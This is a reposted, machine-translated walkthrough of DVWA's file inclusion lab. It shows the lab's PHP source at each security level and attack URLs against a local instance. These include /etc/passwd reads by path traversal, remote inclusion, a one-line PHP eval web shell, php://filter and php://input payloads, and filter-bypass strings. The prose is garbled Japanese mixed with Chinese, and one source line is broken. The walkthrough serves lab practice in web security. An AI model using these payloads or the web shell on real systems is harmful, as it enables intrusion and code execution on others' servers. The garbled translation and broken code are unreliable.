[DVWA]ファイルインクルージョンクリアランスチュートリアル(ファイルには抜け穴が含まれています)


日付:2019年7月28日20時五十八分29秒
更新:
著者:Bay0netの
説明:


0x01の、脆弱性を導入

ファイルが含まれている場合は、関係なく含まれているファイルの種類、優先順位はとしてみてくださいませんphpファイルの実行。

ファイルの内容が持っている場合phpに実行されるコードphpのコードを、結果のコードの実行を返します。

ファイルの内容ではない場合phpのコードは、印刷された文書の内容を置きます。

0x02の、低セキュリティレベル

ソースを表示

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?> 

サーバーは、取得page任意のフィルタリングを行わず、値を。

ファイルが含まれています

# 原 URL
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php

# 本地文件包含,读文件(绝对路径 或 相对路径)
http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd

# 远程文件包含
http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com

シェルを取得します。

ローカルファイルには、トロイの木馬、トロイの木馬ファイルが置かれている単語が含まれている/tmp/1.txt次のように、

<?php @eval($_POST["gg"]); ?>

擬似プロトコルファイル読み取り

0x01すべてのphpファイルはコードとして実行されているので、あなたがソースコードを読むことができない、場合、ファイル、そして私たちは読みする方法を見つける必要がありますflagphpflag

# 直接读取,PHP 代码直接执行
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php

# 利用伪协议读取源码
http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

最初の行をコピーし、直接base64缶を復号します。

擬似プロトコルのコマンドを実行

用いたphp://input擬似プロトコル。

URL: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
POST:<?php phpinfo(); ?>

0x03の、ミディアムセキュリティレベル

ソースを表示

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = ( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

いくつかのものをフィルタリングし、arrayそこにあります。

回避策

バイパス絶対パスを使用して1、。

図2に示すように、使用str_replace()する機能を、書き換え可能な方法をバイパスするために使用することができます

htthttp://p:// -> http://
..././      -> ../

0x04が、高セキュリティレベル

ソースを表示

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

次の2つの条件は、エラーを満たしています:

  1. 上を通過pageされていませんfile*
  2. $ファイルは同じではありません include.php

回避策

図1に示すように、バイパス擬似プロトコルを使用。

http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd

2、URL、キーワードが含まれています

# 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
http://vps.ip:9090/file.html

0x05、Impossible Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

写死了文件名,无解。。。

0x06、Reference

PHP fnmatch() 函数 | 菜鸟教程

PHP str_replace() 函数

DVWA-文件包含学习笔记 - 雨中落叶 - 博客园

おすすめ

転載: www.cnblogs.com/v1vvwv/p/DVWA-File-Inclusion.html